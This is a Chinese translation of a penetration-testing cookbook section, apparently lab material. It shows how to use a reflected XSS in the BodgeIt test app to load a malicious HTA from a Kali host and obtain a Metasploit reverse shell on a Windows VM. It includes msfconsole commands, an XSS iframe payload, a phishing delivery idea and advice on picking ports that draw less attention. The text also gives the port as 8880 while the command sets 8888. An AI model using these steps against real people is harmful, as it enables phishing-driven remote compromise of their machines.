Kali Linux Web滲透測試手冊(第二版) – 5.8 – 使用XSS和Metasploit獲取遠程shell
- 2019 年 10 月 6 日
- 筆記

翻譯來自:掣雷小組 成員資訊:
thr0cyte,Gr33k,花花,MrTools,R1ght0us,7089bAt
標記紅色的部分為今日更新內容。
第五章、使用跨站腳本攻擊客戶端
5.0、介紹
5.1、使用瀏覽器繞過客戶端控制
5.2、識別跨站腳本漏洞
5.3、利用XSS獲取Cookie
5.4、利用DOM XSS
5.5、利用BeEF執行xss攻擊
5.6、從Web存儲中提取資訊
5.7、使用ZAP測試WebSokets
5.8、使用XSS和Metasploit獲取遠程shell
5.8、使用XSS和Metasploit獲取遠程shell
在前幾章中,我們知道了攻擊者可以使用XSS提取用戶資訊憑證,然而,它的威力可不止於此,只要稍加一些社會工程學,攻擊者就可以使用XSS來欺騙用戶下載執行惡意文件,從而進一步控制主機和內網。
在本章節中,我們將學的使用XSS在目標電腦上遠程執行命令。
環境準備
1. vm_1漏洞系統BodgeIt;
2. Windows7虛擬機;
實戰演練
我們要做是用XSS使客戶端的Windows7的瀏覽器打開並執行託管在Kali Linux上的惡意HTA文件。
1. 打開Metasploit控制台:
msfconsole
2. 啟動後,使用以下命令載入exploit模組和payload:
use exploit/windows/misc/hta_server set payload windows/shell/reverse_tcp
3. 設置server的監聽埠為8880:
set srvport 8888
4. 設置本地監聽埠為12345:
set lport 12345 show options
5.現在我們運行exploit等待客戶端連接:
run
注意伺服器啟動時給出的資訊,Local IP給出了訪問HTA文件的方式。(就像是:k0Pjsl1tz2cI3Mm.hta)
6.現在切換到Windows虛擬機,打開IE瀏覽器
7.假設攻擊者發送了一封包含鏈接的釣魚電子郵件,
http://192.168.56.11/bodgeit/search.jsp?q=t<iframe src="http://192.168.56.10:8888/k0Pjsl1tz2cI3Mm.hta"></iframe>
給受害者,在IE中打開它
8.如果你的騙人的手段足夠高,就可以使得用戶接受不安全警告下載執行惡意文件:
9.當提示運行、保存或者取消時,選擇運行HTA文件
10.現在切換回Kali,你就可以在控制台中看到Metasploit已經成功收到來自客戶端的負載請求並且建立了Shell連接。
11.在我們這個例子中,Metasploit建立的會話在2上,我們可以使用Session命令查看詳細資訊
12.使用session -i 2命令,你就會跳入Windows命令窗口下。執行ipconfig命令來查看受害者的IP資訊
原理剖析
HTA是可以不受網頁瀏覽器安全模式的限制來執行程式,它是一種HTML應用程式。
我們剛才使用Metasploit生成惡意的HTA文件並開啟本地服務來託管它,我們的惡意文件包含一個 反向shell,反向shell是一個程式,當受害者執行它時,它將連接到攻擊者的伺服器,而不是在受害者中打開一個埠來等待連接傳入,這也就是為什麼它被稱為反向連接的原因。當連接完成時,一個遠程shell就建立好了。
在上面的例子中,我們使用8888作為伺服器的監聽埠,12345作為漏洞反向連接的監聽埠,然而在實際的應用場景中,我們應該使用較為低的埠,這樣可以較為安全,SSH的22埠就是個不錯的選擇。